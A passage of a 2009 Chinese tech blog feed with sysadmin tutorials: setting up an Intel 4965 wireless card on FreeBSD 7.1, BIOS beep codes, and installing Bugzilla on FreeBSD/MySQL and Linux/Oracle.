            dcachesize            0          0    3409920    3624960          0<br />
            numfile             189        189       9312       9312          0<br />
            dummy                 0          0          0          0          0<br />
            dummy                 0          0          0          0          0<br />
            dummy                 0          0          0          0          0<br />
            numiptent            10         10        128        128          0<br />
server1:~#<br />
failcnt这一列非常重要，它通常是显示为0。如果不是0的话，这就意味着，当前的虚拟机需要更多的系统资源。打开位于/etc/vz/conf目录下的配置文件，然后适当的增加资源，最后重启虚拟机。<br />
查询更多关于vzctl命令，运行<br />
man vzctl<br />
4.相关链接<br />
•        OpenVZ: http://openvz.org<br />
•        Debian: http://www.debian.org</p>
]]></content:encoded>
			<wfw:commentRss>http://www.evanjiang.net.cn/archives/817.html/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>FreeBSD 7.1 下使用 Intel 4965无线网卡上网的方法</title>
		<link>http://www.evanjiang.net.cn/archives/815.html</link>
		<comments>http://www.evanjiang.net.cn/archives/815.html#comments</comments>
		<pubDate>Tue, 17 Mar 2009 15:01:26 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[It Tips]]></category>
		<category><![CDATA[freebsd unix]]></category>
		<category><![CDATA[Freebsd 无线上网]]></category>

		<guid isPermaLink="false">http://www.evanjiang.net.cn/?p=815</guid>
		<description><![CDATA[<p>1. 参考网址
http://www.mavetju.org/mail/view &#8230; ware&#038;id=2730092  介绍iwn使用的文章</p>
<p>trying iwn driver from
http://perforce.freebsd.org/file &#8230; ot/user/benjsc/iwn/</p>
<p>http://perforce.freebsd.org/depo &#8230; /iwn&#038;HIDEDEL=NO iwn代码所在地</p>
<p>http://blog.disarm.jp/?p=51 日文的文档</p>
<p>2. 代码下载
首先通过P4fetch.rb下载这个ruby脚本
在运行过程中出现找不到 hpricot 模块</p>
<p>[axlrose@mybsd iwn] $ pkgsearch hpricot
/usr/ports/www/rubygem-hpricot</p>
<p>function pkg-get() {
    #因为习惯于普通用户模式下操作，所以比较常用sudo命令来操作
    sudo sh -c &#8220;PKGDIR=/usr/mypkgs/ PACKAGEROOT=ftp://ftp2.jp.freebsd.org pkg_add -rvK $@&#8221;
}</p>
<p>pkg-get  rubygem-hpricot  下载并保存到 /usr/mypkgs目录
使用正宗方式 pkg_add -r rubygem-hpricot

./P4fetch.rb &#8211;depot //depot/user/benjsc/ &#8211;repo iwn </p>
<p>3. 代码编译</p>
<p># cd iwn/iwn
# [...]]]></description>
			<content:encoded><![CDATA[<p>1. 参考网址<br />
http://www.mavetju.org/mail/view &#8230; ware&#038;id=2730092  介绍iwn使用的文章</p>
<p>trying iwn driver from<br />
http://perforce.freebsd.org/file &#8230; ot/user/benjsc/iwn/</p>
<p>http://perforce.freebsd.org/depo &#8230; /iwn&#038;HIDEDEL=NO iwn代码所在地</p>
<p>http://blog.disarm.jp/?p=51 日文的文档</p>
<p>2. 代码下载<br />
首先通过P4fetch.rb下载这个ruby脚本<br />
在运行过程中出现找不到 hpricot 模块</p>
<p>[axlrose@mybsd iwn] $ pkgsearch hpricot<br />
/usr/ports/www/rubygem-hpricot</p>
<p>function pkg-get() {<br />
    #因为习惯于普通用户模式下操作，所以比较常用sudo命令来操作<br />
    sudo sh -c &#8220;PKGDIR=/usr/mypkgs/ PACKAGEROOT=ftp://ftp2.jp.freebsd.org pkg_add -rvK $@&#8221;<br />
}</p>
<p>pkg-get  rubygem-hpricot  下载并保存到 /usr/mypkgs目录<br />
使用正宗方式 pkg_add -r rubygem-hpricot<br />
<span id="more-815"></span><br />
./P4fetch.rb &#8211;depot //depot/user/benjsc/ &#8211;repo iwn </p>
<p>3. 代码编译</p>
<p># cd iwn/iwn<br />
# cd sys/modules/iwnfw<br />
# make<br />
# make install</p>
<p>cd sys/modules/iwn<br />
make<br />
mkae install</p>
<p>4. 安装后的加载与配置</p>
<p>/boot/loader.conf<br />
legal.intel_iwn.license_ack=1</p>
<p>kenv legal.intel_iwn.license_ack=1<br />
kldload if_iwn</p>
<p>安装后的测试</p>
<p>[axlrose@mybsd ~] $ pciconf -lv|grep 4965AGN<br />
    device     = &#8216;Intel 4965AGN Intel  Wireless WiFi Link 4965AGN&#8217;</p>
<p>[axlrose@mybsd ~] $ sudo dmesg |grep iwn|head -n 10<br />
iwn0: error, INTR=82000000<SW_ERROR,RX_INTR> STATUS=0&#215;10000<br />
iwn0: iwn_config: could not set power mode, error 35<br />
iwn0: link state changed to UP<br />
iwn0: link state changed to DOWN<br />
iwn0: device timeout<br />
iwn0: link state changed to UP<br />
arp: 192.168.1.1 is on em0 but got reply from 00:1c:10:55:0a:c9 on iwn0<br />
arp: 192.168.1.1 is on em0 but got reply from 00:1c:10:55:0a:c9 on iwn0<br />
arp: 192.168.1.1 is on em0 but got reply from 00:1c:10:55:0a:c9 on iwn0<br />
arp: 192.168.1.1 is on em0 but got reply from 00:1c:10:55:0a:c9 on iwn0</p>
<p>[axlrose@mybsd ~] $ sudo ifconfig<br />
em0: flags=8802<BROADCAST,SIMPLEX,MULTICAST> metric 0 mtu 1500<br />
        options=19b<RXCSUM,TXCSUM,VLAN_MTU,VLAN_HWTAGGING,VLAN_HWCSUM,TSO4><br />
        ether 00:1e:37:d0:d9:5d<br />
        inet 192.168.2.10 netmask 0xffffff00 broadcast 192.168.2.255<br />
        media: Ethernet autoselect<br />
        status: no carrier<br />
iwn0: flags=8843<UP,BROADCAST,RUNNING,SIMPLEX,MULTICAST> metric 0 mtu 1500<br />
        ether 00:1f:3b:94:50:a9<br />
        inet 192.168.1.3 netmask 0xffffff00 broadcast 192.168.1.255<br />
        inet 192.168.1.8 netmask 0xffffff00 broadcast 192.168.1.255<br />
        media: IEEE 802.11 Wireless Ethernet autoselect (OFDM/54Mbps)<br />
        status: associated<br />
        ssid home channel 6 (2437 Mhz 11g) bssid 00:1c:10:55:0a:cb<br />
        authmode WPA2/802.11i privacy ON deftxkey UNDEF TKIP 3:128-bit<br />
        txpower 50 bmiss 10 scanvalid 60 protmode CTS roaming MANUAL<br />
lo0: flags=8049<UP,LOOPBACK,RUNNING,MULTICAST> metric 0 mtu 16384<br />
        inet6 fe80::1%lo0 prefixlen 64 scopeid 0&#215;3<br />
        inet6 ::1 prefixlen 128<br />
        inet 127.0.0.1 netmask 0xff000000</p>
<p>&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8211;<br />
以下是我的/boot/loader.conf 与无线相关的模块加载配置</p>
<p>if_iwn_load=&#8221;YES&#8221;<br />
legal.intel_iwn.license_ack=1<br />
wlan_wep_load=&#8221;YES&#8221;<br />
wlan_ccmp_load=&#8221;YES&#8221;<br />
wlan_tkip_load=&#8221;YES&#8221;<br />
wlan_scan_ap_load=&#8221;YES&#8221;<br />
wlan_scan_sta_load=&#8221;YES&#8221;</p>
<p>&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8211;<br />
5. 使用 wpa_supplicant 的配置方法<br />
以下是我的连接无线网络的脚本, 是跟据以前linux下的脚本修改的，目前路由那块还在改进，以下方法有问题</p>
<p>$ cat connet_home.sh<br />
#!/usr/local/bin/bash<br />
#!/bin/bash<br />
#===============================================================================<br />
WLAN_DEV=&#8221;iwn0&#8243;<br />
LAN_DEV=em0<br />
IP=192.168.1.8<br />
GW=192.168.1.1<br />
ROUTE=192.168.1.1<br />
BASE_DIR=&#8221;.&#8221;<br />
CFG_FILE=wpa_supplicant_home_cfg.conf<br />
#${BASE_DIR}/del_eth0_route.sh</p>
<p>sudo ifconfig $LAN_DEV down<br />
#sudo ip r d  default dev eth0<br />
sudo route del default<br />
sudo route del 192.168.1.0/24<br />
sudo route flush<br />
sudo ifconfig ${WALN_DEV} down<br />
sudo ifconfig ${WALN_DEV} up</p>
<p>if [ `pidof wpa_supplicant|wc -w` -eq 0 ] ; then<br />
    echo &#8220;wpa no running&#8221;<br />
else<br />
    sudo killall -9 wpa_supplicant<br />
fi</p>
<p>sudo wpa_supplicant -dd -i ${WLAN_DEV} -c ${BASE_DIR}/$CFG_FILE -B<br />
sleep 3<br />
#sudo ifconfig wlan0 192.168.1.8<br />
#sudo dhclient $WLAN_DEV<br />
sudo ifconfig $WLAN_DEV $IP<br />
#sudo ifconfig $WLAN_DEV:1 192.168.1.9<br />
#sudo ip r a default via $GW dev $WLAN_DEV<br />
sudo ifconfig $LAN_DEV 192.168.2.2   # <<<< 故意改的ip为另一个网段的地址<br />
sudo route add default $ROUTE<br />
&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8211;</p>
<p>以下是配置文件</p>
<p>[axlrose@mybsd iwn] $ cat wpa_supplicant_home_cfg.conf<br />
# This is a network block that connects to any unsecured access point.<br />
# We give it a low priority so any defined blocks are preferred.<br />
ctrl_interface=/var/run/wpa_supplicant<br />
ctrl_interface_group=0<br />
ap_scan=1</p>
<p>eapol_version=1<br />
#ap_scan=1<br />
fast_reauth=1</p>
<p>network={<br />
ssid=&#8221;home&#8221;  <<<&#8212;- ssid<br />
#psk=&#8221;密码明码&#8221;<br />
psk=b5971ceb09ef6ca002accbfbe9b6742f8716677d2479bc0c8affef5d0b10fdb0 ##加密后的密码数据<br />
}</p>
<p>[axlrose@mybsd iwn] $ uname -a<br />
FreeBSD mybsd.mybsd.org 7.1-RELEASE FreeBSD 7.1-RELEASE #0: Thu Jan  1 14:37:25 UTC 2009    root@logan.cse.buffalo.edu:/usr/obj/usr/src/sys/GENERIC  i38</p>
<p>附录：<br />
在rc.conf中添加<br />
ifconfig_iwn0=&#8221;192.168.1.xx/24 WPA&#8221;<br />
ifconfig_em0=&#8221;192.168.1.xx/24&#8243;</p>
<p>启用无线可以写成：<br />
/etc/rc.d/netif start<br />
ifconfig em0 delete<br />
/etc/rc.d/routing start</p>
<p>另外  /media/winc 写成 /media/cwin/ 这样在csh下比较容易补全。</p>
]]></content:encoded>
			<wfw:commentRss>http://www.evanjiang.net.cn/archives/815.html/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>电脑主板BIOS的报警音代码</title>
		<link>http://www.evanjiang.net.cn/archives/813.html</link>
		<comments>http://www.evanjiang.net.cn/archives/813.html#comments</comments>
		<pubDate>Sat, 14 Mar 2009 12:24:20 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[It Tips]]></category>
		<category><![CDATA[电脑 主板 BIOS 报警音 代码]]></category>

		<guid isPermaLink="false">http://www.evanjiang.net.cn/?p=813</guid>
		<description><![CDATA[<p>       有些主机主板质量不过关，有时会出现些问题，通常出问题，都会发出一些报警音，了解些报警音，方便你确认主板那里出问题！
       1短：系统正常启动。恭喜，你的机器没有任何问题。
     2短：常规错误，请进入CMOS   Setup，重新设置不正确的选项。
  　　1长1短：RAM或主板出错。换一条内存试试，若还是不行，只好更换主板。
  　　1长2短：显示器或显示卡错误。
  　　1长3短：键盘控制器错误。检查主板。
  　　1长9短：主板Flash   RAM或EPROM错误，BIOS损坏。换块Flash   RAM试试。
  　　不断地响（长声）：内存条未插紧或损坏。重插内存条，若还是不行，只有更换一条内存。
  　　重复短响：电源有问题。
  　　无声音无显示：电源有问题
  AMI   BIOS的报警音代码：
  　　1短：内存刷新失败。更换内存条。
  　　2短：内存ECC较验错误。在CMOS   Setup中将内存关于ECC校验的选项设为Disabled就可以解决，不过最根本的解决办法还是更换一条内存。
 [...]]]></description>
			<content:encoded><![CDATA[<p>       有些主机主板质量不过关，有时会出现些问题，通常出问题，都会发出一些报警音，了解些报警音，方便你确认主板那里出问题！<br />
       1短：系统正常启动。恭喜，你的机器没有任何问题。<br />
     2短：常规错误，请进入CMOS   Setup，重新设置不正确的选项。<br />
  　　1长1短：RAM或主板出错。换一条内存试试，若还是不行，只好更换主板。<br />
  　　1长2短：显示器或显示卡错误。<br />
  　　1长3短：键盘控制器错误。检查主板。<br />
  　　1长9短：主板Flash   RAM或EPROM错误，BIOS损坏。换块Flash   RAM试试。<br />
  　　不断地响（长声）：内存条未插紧或损坏。重插内存条，若还是不行，只有更换一条内存。<br />
  　　重复短响：电源有问题。<br />
  　　无声音无显示：电源有问题<br />
  AMI   BIOS的报警音代码：<br />
  　　1短：内存刷新失败。更换内存条。<br />
  　　2短：内存ECC较验错误。在CMOS   Setup中将内存关于ECC校验的选项设为Disabled就可以解决，不过最根本的解决办法还是更换一条内存。<br />
  　　3短：系统基本内存（第1个64kB）检查失败。换内存。<br />
  　　4短：系统时钟出错。<br />
  　　5短：中央处理器（CPU）错误。<br />
  　　6短：键盘控制器错误。<br />
  　　7短：系统实模式错误，不能切换到保护模式。<br />
  　　8短：显示内存错误。显示内存有问题，更换显卡试试。<br />
  　　9短：ROM   BIOS检验和错误。<br />
  　　1长3短：内存错误。内存损坏，更换即可。<br />
  　　1长8短：显示测试错误。显示器数据线没插好或显示卡没插牢  </p>
]]></content:encoded>
			<wfw:commentRss>http://www.evanjiang.net.cn/archives/813.html/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Bugzilla ON FreeBSD  HOWTO</title>
		<link>http://www.evanjiang.net.cn/archives/811.html</link>
		<comments>http://www.evanjiang.net.cn/archives/811.html#comments</comments>
		<pubDate>Sat, 14 Mar 2009 12:14:38 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[It Tips]]></category>
		<category><![CDATA[freebsd unix]]></category>
		<category><![CDATA[Bugzilla ON FreeBSD  HOWTO]]></category>

		<guid isPermaLink="false">http://www.evanjiang.net.cn/?p=811</guid>
		<description><![CDATA[<p>Bugzilla ON FreeBSD  HOWTO
前言
Bugzilla作为一个产品缺陷的记录及跟踪工具，它能够为你建立一个完善的Bug跟踪体系，包括报告Bug、查询Bug记录并产生报表、处理解决、管理员系统初始化和设置四部分.主要特点为:
基于Web方式，安装简单、运行方便快捷、管理安全。
有利于缺陷的清楚传达。本系统使用数据库进行管理，提供全面详尽的报告输入项，产生标准化的Bug报告。
系统灵活，强大的可配置能力。
自动发送Email,通知相关人员。根据设定的不同责任人，自动发送最新的动态信息，有效的帮助测试人员和开发人员进行沟通。 </p>
<p>由于目前网上资料要么是在Linux及Windows 系统下,要么属于Source Code安装,故才有此篇文档.该文档仅为 Bugailla On FreeBSD 的安装文档,并没有涉及到具体开发人员的使用操作,如果可能的话,将在今后继续更新此文档,如果你在安装中有什么问题,可以Mail 我,我将尽我能力来回复.
软件及平台
FreeBSD 为了充分体现FreeBSD的价值,主要软件安装均为PORTS安装 </p>
<p>apache_1.3.28
mod_ssl-2.8.15-1.3.28
mysql 3.23.58
bugzilla 2.16.3
bugzilla-2.16.1-cn-0.91.tar.gz
目的
建立一套程序缺陷记录及跟踪系统,用于程序开发人员对程序BUG进行记录,分析,跟踪.

Apache安装及配置</p>
<p>#cd /usr/ports/www/apache13-modssl
#make install clean
#vi /usr/local/etc/apache/httpd.conf //修改ScriptAlias 的cgi-bin 参数,以及.cgi format的AddHandler
ScriptAlias /cgi-bin/ &#8220;/usr/local/www/data/bugzilla/&#8221; </p>
<p>#
# &#8220;/usr/local/www/cgi-bin&#8221; should be changed to whatever your ScriptAliased
# CGI directory exists, if you have that configured.
#</p>
<p>AllowOverride None
Options ExecCGI //此处切记要打开 ExecCGI 参数
Order allow,deny
Allow from all</p>
<p>#AddHandler cgi-script .cgi
MySQL安装及配置
#cd /usr/ports/databases/mysql323-server [...]]]></description>
			<content:encoded><![CDATA[<p>Bugzilla ON FreeBSD  HOWTO<br />
前言<br />
Bugzilla作为一个产品缺陷的记录及跟踪工具，它能够为你建立一个完善的Bug跟踪体系，包括报告Bug、查询Bug记录并产生报表、处理解决、管理员系统初始化和设置四部分.主要特点为:<br />
基于Web方式，安装简单、运行方便快捷、管理安全。<br />
有利于缺陷的清楚传达。本系统使用数据库进行管理，提供全面详尽的报告输入项，产生标准化的Bug报告。<br />
系统灵活，强大的可配置能力。<br />
自动发送Email,通知相关人员。根据设定的不同责任人，自动发送最新的动态信息，有效的帮助测试人员和开发人员进行沟通。 </p>
<p>由于目前网上资料要么是在Linux及Windows 系统下,要么属于Source Code安装,故才有此篇文档.该文档仅为 Bugailla On FreeBSD 的安装文档,并没有涉及到具体开发人员的使用操作,如果可能的话,将在今后继续更新此文档,如果你在安装中有什么问题,可以Mail 我,我将尽我能力来回复.<br />
软件及平台<br />
FreeBSD 为了充分体现FreeBSD的价值,主要软件安装均为PORTS安装 </p>
<p>apache_1.3.28<br />
mod_ssl-2.8.15-1.3.28<br />
mysql 3.23.58<br />
bugzilla 2.16.3<br />
bugzilla-2.16.1-cn-0.91.tar.gz<br />
目的<br />
建立一套程序缺陷记录及跟踪系统,用于程序开发人员对程序BUG进行记录,分析,跟踪.<br />
<span id="more-811"></span><br />
Apache安装及配置</p>
<p>#cd /usr/ports/www/apache13-modssl<br />
#make install clean<br />
#vi /usr/local/etc/apache/httpd.conf //修改ScriptAlias 的cgi-bin 参数,以及.cgi format的AddHandler<br />
ScriptAlias /cgi-bin/ &#8220;/usr/local/www/data/bugzilla/&#8221; </p>
<p>#<br />
# &#8220;/usr/local/www/cgi-bin&#8221; should be changed to whatever your ScriptAliased<br />
# CGI directory exists, if you have that configured.<br />
#</p>
<p>AllowOverride None<br />
Options ExecCGI //此处切记要打开 ExecCGI 参数<br />
Order allow,deny<br />
Allow from all</p>
<p>#AddHandler cgi-script .cgi<br />
MySQL安装及配置<br />
#cd /usr/ports/databases/mysql323-server #make install clean #/usr/local/etc/rc.d/mysql-server.sh start #mysql -uroot -p </p>
<p>>GRANT SELECT,INSERT,UPDATE,DELETE,INDEX, ALTER,CREATE,DROP,REFERENCES ON bugtrack.* TO buguser@localhost IDENTIFIED BY &#8217;123456&#8242;; //添加建立Bugzilla Database的用户及权限<br />
>FLUSH PRIVILEGES;<br />
Bugzilla安装及配置<br />
#cd /usr/ports/devel/bugzilla/ #make WITH_BUG_EXPORT_AND_IMPORT=y WITH_BUG_MAILING_MODULES=y install clean //支持以XML格式导入或导出BUG DATABASES,支持PERL MAIL MODULE. </p>
<p>注:<br />
WITH_BUG_MAILING_MODULES install perl modules required for bug mailing support (contrib/bug_email.pl) interface<br />
WITH_BUG_EXPORT_AND_IMPORT install perl modules required for bug export/import feature to move bugs to or from other bugzilla installations</p>
<p>#cd /usr/local/www/data-dist/bugzilla<br />
#./checksetup.pl //第一次运行checksetup.pl,生成localconfig文件<br />
#vi localconfig //修改localconfig,文件中的MySQL参数</p>
<p>#<br />
# How to access the SQL database:<br />
#<br />
$db_host = &#8220;localhost&#8221;; # where is the database?<br />
$db_port = 3306; # which port to use<br />
$db_name = &#8220;bugtrack&#8221;; # name of the MySQL database<br />
$db_user = &#8220;buguser&#8221;; # user to attach to the MySQL database </p>
<p>#<br />
# Enter your database password here. It&#8217;s normally advisable to specify<br />
# a password for your bugzilla database user.<br />
# If you use apostrophe (&#8216;) or a backslash (\) in your password, you&#8217;ll<br />
# need to escape it by preceding it with a \ character. (\&#8217;) or (\\)<br />
#<br />
$db_pass = &#8217;123456&#8242;;</p>
<p>#cd /usr/local/www/data-dist/bugzilla<br />
#./checksetup.pl //再次运行checksetup.pl,检查Bugzilla 的安装配置,以及导入Bugailla所需数据库.</p>
<p>Checking perl modules &#8230;<br />
Checking for AppConfig (v1.52) ok: found v1.55<br />
Checking for CGI::Carp (any) ok: found v1.13<br />
Checking for Data::Dumper (any) ok: found v2.101<br />
Checking for Date::Parse (any) ok: found v2.27<br />
Checking for DBI (v1.13) ok: found v1.37<br />
Checking for DBD::mysql (v1.2209) ok: found v2.0419<br />
Checking for File::Spec (v0.82) ok: found v0.82<br />
Checking for File::Temp (any) ok: found v0.12<br />
Checking for Template (v2.07) ok: found v2.08<br />
Checking for Text::Wrap (v2001.0131) ok: found v2001.0929<br />
Checking for CGI::Carp (any) ok: found v1.13</p>
<p>The following Perl modules are optional:<br />
Checking for GD (v1.19) ok: found v2.07<br />
Checking for Chart::Base (v0.99) ok: found v2.2<br />
Checking for XML::Parser (any) ok: found v2.34</p>
<p>Checking user setup &#8230;<br />
Creating data directory &#8230;<br />
Creating graphs directory&#8230;<br />
Creating index.html&#8230;<br />
Removing existing compiled templates &#8230;<br />
Precompiling templates &#8230;<br />
Checking for MySQL Server (v3.22.5) ok: found v3.23.58<br />
Creating database bugtrack &#8230;</p>
<p>Creating table groups &#8230;<br />
Creating table longdescs &#8230;<br />
Creating table milestones &#8230;<br />
Creating table namedqueries &#8230;<br />
Creating table profiles &#8230;<br />
Creating table fielddefs &#8230;<br />
Creating table logincookies &#8230;<br />
Creating table components &#8230;<br />
Creating table cc &#8230;<br />
Creating table keyworddefs &#8230;<br />
Creating table dependencies &#8230;<br />
Creating table shadowlog &#8230;<br />
Creating table duplicates &#8230;<br />
Creating table profiles_activity &#8230;<br />
Creating table votes &#8230;<br />
Creating table attachstatuses &#8230;<br />
Creating table bugs &#8230;<br />
Creating table tokens &#8230;<br />
Creating table products &#8230;<br />
Creating table watch &#8230;<br />
Creating table keywords &#8230;<br />
Creating table versions &#8230;<br />
Creating table attachstatusdefs &#8230;<br />
Creating table attachments &#8230;<br />
Creating table bugs_activity &#8230;<br />
Adding group tweakparams &#8230;<br />
Adding group editusers &#8230;<br />
Adding group creategroups &#8230;<br />
Adding group editcomponents &#8230;<br />
Adding group editkeywords &#8230;<br />
Adding group editbugs &#8230;<br />
Adding group canconfirm &#8230;</p>
<p>Looks like we don&#8217;t have an administrator set up yet. Either this is your<br />
first time using Bugzilla, or your administrator&#8217;s privs might have accidently<br />
gotten deleted at some point.<br />
Enter the e-mail address of the administrator: tonnyomAThotmail.com //输入login email<br />
You entered &#8216;tonnyomAThotmail.com&#8217;. Is this correct? [Y/n] Y<br />
Enter the real name of the administrator: lele<br />
Enter a password for the administrator account: //输入login password<br />
Please retype the password to verify:<br />
&#8216;tonnyomAThotmail.com&#8217; is now set up as the administrator account.<br />
Creating initial dummy product &#8216;TestProduct&#8217; &#8230;<br />
Populating duplicates table&#8230;<br />
Creating duplicates directory&#8230;<br />
Reminder: Bugzilla now requires version 8.7 or later of sendmail. //end</p>
<p>#cd /usr/local/www<br />
#chown www:nogroup data-dist</p>
<p>#cd /usr/local/www/data-dist<br />
#chown www:nogroup bugzilla<br />
Bugzilla汉化<br />
#cd ~/appz/ #fetch http://optusnet.dl.sourceforge.net/sourceforge/bugzilla-cn/bugzilla-2.16.1-cn-0.91.tar.gz #tar zxvf bugzilla-2.16.1-cn-0.91.tar.gz<br />
注: 该版本,汉化效果不是很好,在其网站中,还有更新的版本,大家可以去自己尝试一下那个版本更好.<br />
#cd /usr/local/www/data-dist/bugzilla/template #cp -Rpf ~/appz/template/cn ./ #vi /usr/local/www/data-dist/bugzilla/globals.pl //修改INCLUDE_PATH为汉化文件路径 </p>
<p>INCLUDE_PATH => &#8220;template/en/custom:template/en/default&#8221; ,<br />
==> INCLUDE_PATH => &#8220;template/cn/custom:template/cn/default&#8221; ,</p>
<p>#cd /usr/local/www/data-dist/bugzilla<br />
#fetch http://www.bugzilla.org/img/bugzilla.jpg ; mv bugzilla.jpg bug.jpg<br />
#cp ant.jpg ant1.jpg</p>
<p>#cd /usr/local/www/data-dist/bugzilla<br />
#find ./ -type d -exec chown www:nogroup {} \; //设置web server属主对该目录下所有目录的权限<br />
#find ./ -type f -exec chown www:nogroup {} \; //设置web server属主对该目录下所有文件的权限<br />
测试<br />
/usr/local/etc/rc.d/apache.sh start</p>
<p>IE登录:</p>
<p>http://freebsd-ip/bugzilla/index.cgi</p>
<p>Login Name: tonnyomAThotmail.com<br />
Login Password: 123456<br />
参考<br />
http://www.cpan.org CPAN Module </p>
<p>http://www.bugzilla.org/docs/2.16/txt/Bugzilla-Guide.txt Bugzilla Guide</p>
<p>http://prdownloads.sourceforge.net/bugzilla-cn/ Bugzilla-CN Tool</p>
<p>http://www.freebsd.org/doc/en_US.ISO8859-1/books/handbook/ FreeBSD Handbook</p>
<p>http://www.uml.org.cn/Test/test19.htm 测试跟踪工具Bugzilla介绍</p>
<p>http://www.douzhe.com/docs/linux/1672.html 关于BUGZILLA的说明和安装<br />
版本修订0.1</p>
<p>1,如何利用系统自带sendmail来发信件?<br />
#vi /etc/rc.conf //编辑rc.conf文件<br />
sendmail_enable=&#8221;YES&#8221;<br />
#cd /usr/lib //Bugziila默认调用sendmail的路径为 /usr/lib #ln -s /usr/sbin/sendmail sendmail #tail /var/log/maillog //查看以下LOG,可以检查信件已经正常发出 </p>
<p>Aug 27 12:11:31 freebsd5 sendmail[406]: i7RCBJTu000406: from=www, size=277, class=0, nrcpts=1, msgid=<200408271211.i7RCBJTu000406@freebsd5.com>, relay=www@localhost<br />
Aug 27 12:13:05 freebsd5 sm-mta[408]: i7RCBVeQ000408: from=, size=525, class=0, nrcpts=1, msgid=<200408271211.i7RCBJTu000406@freebsd5.com>, proto=ESMTP, daemon=MTA, relay=localhost.com [127.0.0.1]<br />
Aug 27 12:13:05 freebsd5 sendmail[406]: i7RCBJTu000406: to=tonnyomAThotmail.com, ctladdr=www (80/80), delay=00:01:46, xdelay=00:01:34, mailer=relay, pri=30078, relay=[127.0.0.1] [127.0.0.1], dsn=2.0.0, stat=Sent (i7RCBVeQ000408 Message accepted for delivery)<br />
Aug 27 12:18:17 freebsd5 sm-mta[411]: i7RCBVeQ000408: timeout waiting for input from mx1.hotmail.com. during client greeting<br />
Aug 27 12:18:26 freebsd5 sm-mta[411]: i7RCBVeQ000408: to=, ctladdr= (80/80), delay=00:05:22, xdelay=00:05:21, mailer=esmtp, pri=30326, relay=mx1.hotmail.com. [64.4.50.99], dsn=2.0.0, stat=Sent (OK 1093580390)</p>
]]></content:encoded>
			<wfw:commentRss>http://www.evanjiang.net.cn/archives/811.html/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Bugzilla + Oracle + Linux 安装笔记</title>
		<link>http://www.evanjiang.net.cn/archives/809.html</link>
		<comments>http://www.evanjiang.net.cn/archives/809.html#comments</comments>
		<pubDate>Sat, 14 Mar 2009 12:11:42 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[It Tips]]></category>
		<category><![CDATA[oracle]]></category>
		<category><![CDATA[redhat linux]]></category>
		<category><![CDATA[Bugzilla + Oracle + Linux]]></category>

		<guid isPermaLink="false">http://www.evanjiang.net.cn/?p=809</guid>
		<description><![CDATA[<p>Bugzilla 3.2今天发布，该版本增加很多新的功能，其中重要的新功能包括Oracle数据库支持. 下面介绍Bugzilla + Oracle + Linux的安装过程笔记 </p>
<p>，详细请参照Bugzilla的安装文档. </p>
<p>== 准备工作 == </p>
<p>检查所需软件:
Perl 5.81 及以上
Oracle v10.02.0 及以上
Apache(httpd),sendmail等 </p>
<p>== Oracle的安装配置 == </p>
<p>Oracle需要v10.02.0以上版本支持，可以是企业版，也可以是XE版，具体用哪个版本，可以根据需要来确定. </p>
<p>Oracle安装文档到处都有，这里就不说，开始说Oracle的配置吧. </p>
<p>=== 1. 创建Tablespace(可选):=== </p>
<p>用sys 或者 system用户登陆sqlplus, 执行:
CREATE TABLESPACE bugs
    DATAFILE &#8216;/u01/oradata/bugzilla.dbf&#8217; SIZE 500M
    AUTOEXTEND ON NEXT 30M MAXSIZE UNLIMITED; </p>
<p>=== 2. 创建bugzilla用户: ===
用sys 或者 system用户登陆sqlplus, 执行(创建数据库用户bugs, 密码bugs):
CREATE USER [...]]]></description>
			<content:encoded><![CDATA[<p>Bugzilla 3.2今天发布，该版本增加很多新的功能，其中重要的新功能包括Oracle数据库支持. 下面介绍Bugzilla + Oracle + Linux的安装过程笔记 </p>
<p>，详细请参照Bugzilla的安装文档. </p>
<p>== 准备工作 == </p>
<p>检查所需软件:<br />
Perl 5.81 及以上<br />
Oracle v10.02.0 及以上<br />
Apache(httpd),sendmail等 </p>
<p>== Oracle的安装配置 == </p>
<p>Oracle需要v10.02.0以上版本支持，可以是企业版，也可以是XE版，具体用哪个版本，可以根据需要来确定. </p>
<p>Oracle安装文档到处都有，这里就不说，开始说Oracle的配置吧. </p>
<p>=== 1. 创建Tablespace(可选):=== </p>
<p>用sys 或者 system用户登陆sqlplus, 执行:<br />
CREATE TABLESPACE bugs<br />
    DATAFILE &#8216;/u01/oradata/bugzilla.dbf&#8217; SIZE 500M<br />
    AUTOEXTEND ON NEXT 30M MAXSIZE UNLIMITED; </p>
<p>=== 2. 创建bugzilla用户: ===<br />
用sys 或者 system用户登陆sqlplus, 执行(创建数据库用户bugs, 密码bugs):<br />
CREATE USER bugs<br />
    IDENTIFIED BY &#8220;bugs&#8221;<br />
    DEFAULT TABLESPACE bugs<br />
    TEMPORARY TABLESPACE TEMP<br />
    PROFILE DEFAULT;<br />
    &#8212; GRANT/REVOKE ROLE PRIVILEGES<br />
    GRANT CONNECT TO bugs;<br />
    GRANT RESOURCE TO bugs;<br />
    &#8212; GRANT/REVOKE SYSTEM PRIVILEGES<br />
    GRANT UNLIMITED TABLESPACE TO bugs;<br />
    GRANT EXECUTE ON CTXSYS.CTX_DDL TO bugs;<br />
<span id="more-809"></span><br />
===  Apache配置 ===<br />
配置ORACLE_HOME和LD_LIBRARY_PATH, 例如: </p>
<p>vi /etc/http/conf.d/bugzilla.conf </p>
<p>输入保存:<br />
# Set ORACLE_HOME and LD_LIBRARY_PATH<br />
SetEnv ORACLE_HOME /usr/lib/oracle/xe/app/oracle/product/10.2.0/server<br />
SetEnv LD_LIBRARY_PATH /usr/lib/oracle/xe/app/oracle/product/10.2.0/server/lib </p>
<p>== 安装Bugzilla 3.2 ==<br />
=== 下载并解压 ===<br />
